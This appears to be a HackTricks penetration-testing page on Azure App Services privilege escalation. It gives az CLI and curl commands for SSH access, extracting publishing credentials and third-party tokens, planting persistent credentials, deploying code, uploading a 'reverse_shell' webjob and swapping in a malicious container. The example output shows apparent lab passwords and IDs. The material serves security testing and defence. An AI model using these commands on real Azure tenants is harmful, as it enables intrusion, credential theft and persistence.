# Az - App Services Privesc

{{#include ../../../banners/hacktricks-training.md}}

## App Services

For more information about Azure App services check:

{{#ref}}
../az-services/az-app-services.md
{{#endref}}

### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.

- **SSH in single command**:

```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```

- **Create tunnel and then connect to SSH**:

```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```

- **Debug the application**:
  1. Install the Azure extension in VScode.
  2. Login in the extension with the Azure account.
  3. List all the App services inside the subscription.
  4. Select the App service you want to debug, right click and select "Start Debugging".
  5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.

### Obtaining SCM Credentials & Enabling Basic Authentication

To obtain the SCM credentials, you can use the following **commands and permissions**:

- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:

```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
    "SQLServerDBConnectionString": "",
    "controlPanelLink": "https://portal.azure.com",
    "databases": null,
    "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
    "hostingProviderForumLink": "",
    "msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "mySQLDBConnectionString": "",
    "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
    "publishMethod": "MSDeploy",
    "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
    "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
    "webSystem": "WebSites"
  },
  {
    "SQLServerDBConnectionString": "",
    "controlPanelLink": "https://portal.azure.com",
    "databases": null,
    "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
    "ftpPassiveMode": "True",
    "hostingProviderForumLink": "",
    "mySQLDBConnectionString": "",
    "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
    "publishMethod": "FTP",
    "publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
    "userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
    "webSystem": "WebSites"
  },
  {
    "SQLServerDBConnectionString": "",
    "controlPanelLink": "https://portal.azure.com",
    "databases": null,
    "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
    "hostingProviderForumLink": "",
    "mySQLDBConnectionString": "",
    "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
    "publishMethod": "ZipDeploy",
    "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
    "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
    "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
    "webSystem": "WebSites"
  }
]
```

Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.

Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.

- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:

```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
  "id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
  "kind": null,
  "location": "Canada Central",
  "name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
  "publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
  "publishingPasswordHash": null,
  "publishingPasswordHashSalt": null,
  "publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
  "resourceGroup": "carlos_rg_3170",
  "scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
  "type": "Microsoft.Web/sites/publishingcredentials"
}
```

Note how the **credentials are the same** as in the previous command.

- Another option would be to **set you own creds** and use them:

```bash
az webapp deployment user set \
    --user-name hacktricks \
    --password 'W34kP@ssw0rd123!'
```

Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.

Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.

> [!WARNING]
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.

- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):

```bash
# Enable basic authentication for SCM
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }'

# Enable basic authentication for FTP
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }'
```

### Publish code using SCM credentials

Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.

For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.

Then you can **publish the code** in a web app with the following command:

```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```

### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials

The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:

- Read **Webjobs** logs:

```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
  --user '<username>:<password>' -v
```

- Read **Webjobs** source code:

```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
  --user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
  --user '<username>:<password>'
```

- Create **continuous Webjob**:

```bash
# Using Azure permissions
az rest \
  --method put \
  --uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
  --headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
  --body "@/Users/username/Downloads/rev.js" \
  --resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
  "<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
  -H 'Content-Disposition: attachment; filename=rev.js' \
  --data-binary "@/Users/carlospolop/Downloads/rev.js" \
  --user '<username>:<password>'
```

### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.

```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```

### Microsoft.Web/sites/config/list/action

This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.

```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```

### Read Configured Third Party Credentials

Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.

```bash
az rest --method GET \
  --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```

This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.

Here you have some command examples to check the tokens:

```bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
     -H "Accept: application/vnd.github.v3+json" \
     https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     --data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://graph.microsoft.com/v1.0/me/drive/root/children
```

### Update App Code from the source

- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
  - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
  - Using the permission **`Microsoft.Web/sites/config/list/action`**:
    - `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
    - `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
  - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
  - To get the SCM credential you need the permission:
    - **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
    - **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`

> [!WARNING]
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.

> [!WARNING]
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.

### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`

This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container.

```bash
az webapp config container set \
    --name <app-name> \
    --resource-group <res-group> \
    --docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```

{{#include ../../../banners/hacktricks-training.md}}
